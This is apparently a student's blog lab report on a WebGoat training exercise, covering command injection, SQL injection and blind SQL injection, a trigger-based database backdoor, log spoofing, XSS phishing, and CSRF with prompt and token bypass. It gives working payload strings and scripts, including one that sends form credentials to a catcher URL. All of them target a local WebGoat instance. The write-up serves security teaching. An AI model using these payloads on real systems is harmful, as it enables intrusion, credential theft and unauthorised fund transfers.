2018-2019-2 20165215《网络对抗技术》Exp9 :Web安全基础

实验目的及内容

目的: 理解常用网络攻击技术的基本原理

内容

1、SQL注入攻击

2、XSS攻击

3、CSRF攻击


实验过程记录

一、Webgoat安装

介绍:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

1、下载webgoat-container-7.0.1-war-exec.jar文件

2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端

3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

4、使用默认用户名密码guest登录即可

  • 其中Java Source是源码、Solution是答案、Hints是提示

二、 注入缺陷(Injection Flaws)

(一)命令注入(Command Injection)

技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。

原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。

目标:能够在目标主机上执行任何系统命令

操作方法
1、右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"

2、点击view,能看到网络端口使用情况和 IP 地址,攻击成功

(二)数字型注入(Numeric SQL Injection)

技术概念 :SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁

原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。

SELECT * FROM weather_data WHERE station = [station] 

目标:下面的表单允许用户查看天气数据。请通过注入 SQL 字符串的方式查看所有的天气数据。

操作方法
1、右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1

2、攻击成功,显示所有城市的天气情况
 

(三)日志欺骗(Log Spoofing)

主题:本节课程将教会您如何使用障眼法

原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹

目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”

操作方法
1、该课程接受用户输入的任何一个用户名,并将其追加到日志文件中

2、尝试在文本框中直接输入用户名:zjj Login Succeeded for username admin,可是这样用户名后面的信息会在同一行显示,而不是在新的一行

3、利用入回车(0D%)和换行符(%0A),在 username 中填入zjj%0d%0aLogin Succeeded for username: admin,目标达到~

4、攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到

5、用户名输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息

(四) 小实验:SQL 注入(LAB: SQL Injection)

Stage 1: 字符串型注入(Stage 1: String SQL Injection)

目标:使用 SQL 注入绕过认证

操作方法
1、右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

2、 以用户Neville登录,输入密码Smith' or '1' = '1

3、攻击成功,得到所有人员列表

Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

目标:执行 SQL 注入绕过认证; 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户, 浏览其 BOSS 的账户信息。

操作方法
1、使用用户名 Larry,密码 larry 登录,点击ViewProfile查看用户信息

2、右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据

3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc ,使得老板的信息作为查询到的第一条数据

4、得到老板的账户信息,攻击成功

(五)字符串注入(String SQL Injection)

原理:  基于以下查询语句构造自己的 SQL 注入字符串。

SELECT * FROM user_data WHERE last_name = '?' 

目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。

操作方法
1、正常情况下只能查询到用户名对应的信用卡号码

2、输入查询的用户名Smith' or 1=1--

3、攻击成功,得到所有用户的信用卡号码

分析:Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据

(六)数据库后门(Database Backdoors)

主题:如何创建数据库后门

原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。

目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。

操作方法
1、输入101,得到该用户的信息

2、我们可以看到,输入的语句没有验证,很容易进行 SQL 注入

3、输入注入语句 101; update employee set salary=10000执行两个语句

4、输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid注入一个充当SQL后门的触发器

分析:

  • BEFORE/AFTER参数指定了触发执行的时间,在事件之前或是之后
  • FOR EACH ROW表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次

(七)数字型盲注入(Blind Numeric SQL Injection)

原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
          您的目标是找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过本课程。

操作方法
1、本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;

2、如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。

3、输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效

4、输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

5、针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

6、页面提示帐号无效,说明PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364

(八)字符串型盲注入(Blind String SQL Injection)

目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或 假)测试检查数据库中其它条目信息。
       我们的目标是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。

操作方法
本节课程非常类似与上一节,最大的不同是要查询的字段是一个字符串而不是数值

1、输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' ); 取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小

  • SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)

2、经过多次测试和页面的返回数据,判断出第一个字符为“J”,同理继续判断剩下的字符

3、最终,判断出pin字段的值为:Jill

三、跨站脚本攻击(Cross‐Site Scripting (XSS))

(一) 使用 XSS 钓鱼(Phishing with XSS)

技术概念:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

原理:如果有权限操作页面源代码,那么 HTML 文档的内容是可以被篡改的。

目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

操作方法

  • 利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
    • 受害人填写一个表格;
    • 以读取脚本的形式,将收集到的信息发送给攻击者。

1、编写一个带用户名和密码输入框的表格

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

3、将以上两段代码合并,搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来

(二)存储型XSS攻击(Stored XSS Attacks)

原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

操作方法:在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!!");</script>

(三)反射型XSS攻击(Reflected XSS Attacks)

技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

操作方法:输入代码<script>alert("You've been attacked!!!");</script>,点击purse的同时页面就给出了反馈

(四)跨站请求伪造(Cross Site Request Forgery (CSRF))

原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:

<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>

当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

目标:我们的目标是向新闻组发送电子邮件。该电子邮件包含一个图像,其URL指向一个恶意请求。在本节课中,URL应该指向“攻击”servlet,其中包含本节课的“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。您可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当时经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。当本课程的攻击成功时,左侧菜单中的课程名称旁边会出现一个绿色的复选标记。

操作方法
1、查看页面右侧Parameters中的src和menu值,分别为294和900

2、在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=294&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

  • 宽高设置成1像素的目的是隐藏该图片

3、在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

(五) 绕过 CSRF 确认(  CSRF Prompt By‐Pass)

主题:实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令

原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

目标:与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框。

操作方法

1、查看页面右侧Parameters中的src和menu值分别为320和900

2、并在title框中输入学号,message框中输入代码:

<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>

3、在Message List中生成以Title命名的链接,点击进入后,攻击成功

(六)绕过 CSRF Token(CSRF Token By‐Pass)

原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。
       基于令牌的请求身份验证可以减轻这些攻击。该技术将令牌插入发出请求的页面。这些令牌用于完成请求,并帮助验证请求不是脚本化的。OWASP中的CSRFGuard使用这种技术来帮助防止CSRF攻击。
       但是,如果同一站点存在CSS漏洞,则可以忽略此技术。由于同源浏览器策略,来自相同域的页面可以读取来自相同域的其他页面的内容。

目标:与CSRF课程类似,您的目标是向包含恶意转账请求的新闻组发送电子邮件。要成功完成,您需要获得一个有效的请求令牌。显示转账表单的页面包含一个有效的请求令牌。转账页面的URL是带有本课“Screen”和“menu”查询参数的“attack”servlet,另外还有一个参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的转账请求中。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框。

操作方法
1、在本节课程 URL 中输入http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main,以查看网站生成的资金转账页面的表单内容

分析:由此可以看到伪造命令需要提交CSRFToken 参数, 解决方式是在一个 iframe 中载入页面,然后从该 frame 中读取出 Token。

2、由于两个页面在一个域名下,基于同源策略, 这样的操作是可行的。所以,尽管该页面采取了阻止 CSRF 攻击的措施,但由于 CSS 漏洞的存在该措施能够被规避。下面的 JavasScript 通过 frame‐>forme 的路径可以读取并保存 CSRFToken 参数。

<script>
var readToken = function(){
var doc = document.getElementById("frame1").contentDocument
var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value");
alert(token);
var frame2 = document.getElementById("frame2");
frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=4000&CSRFToken="+token;
}
</script>
<iframe id="frame2" >
</iframe>
<iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=511&menu=900&transferFunds=main" >
</iframe>

实验问题回答

(1)SQL注入攻击原理,如何防御

原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。

防御

  • 对输入的字符串进行判断,筛除含有特殊字符的字符串
  • 避免出现一些详细的错误消息被攻击者利用
  • 将数据库里的内容进行加密处理使其不具有特殊的意义

(2)XSS攻击的原理,如何防御

原理:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行

防御

  • 表单提交的时候进行特殊字符的检测
  • 消除网站的XSS漏洞,网站开发者运用转义安全字符手段

(3)CSRF攻击原理,如何防御
原理:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

防御

  • 对于每一个重要的post提交页面,都使用一个验证码
  • 每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击
  • 定期清理cookie,甚至不使用cookie

实验总结

webgoat的页面是全英文的,幸好我机智地找到了中文手册,虽然有些教程的细节不一样,但解题方法是相同的。所以英语不好没关系,你可以找资料解决,找不到资料你可以用有道,当然最好的方法还是……把英语学好hhhh

安装webgoat时碰到登录成功后却无法显示教程的问题,原因我后来了解到是由于jdk版本不同,解决方法很简单——换个虚拟机,不行就再换一个!或者你也可以选择换一个版本的webgoat安装包

参考资料

posted @ 2019-05-19 16:42  匪夷所思05  阅读(412)  评论(0编辑  收藏  举报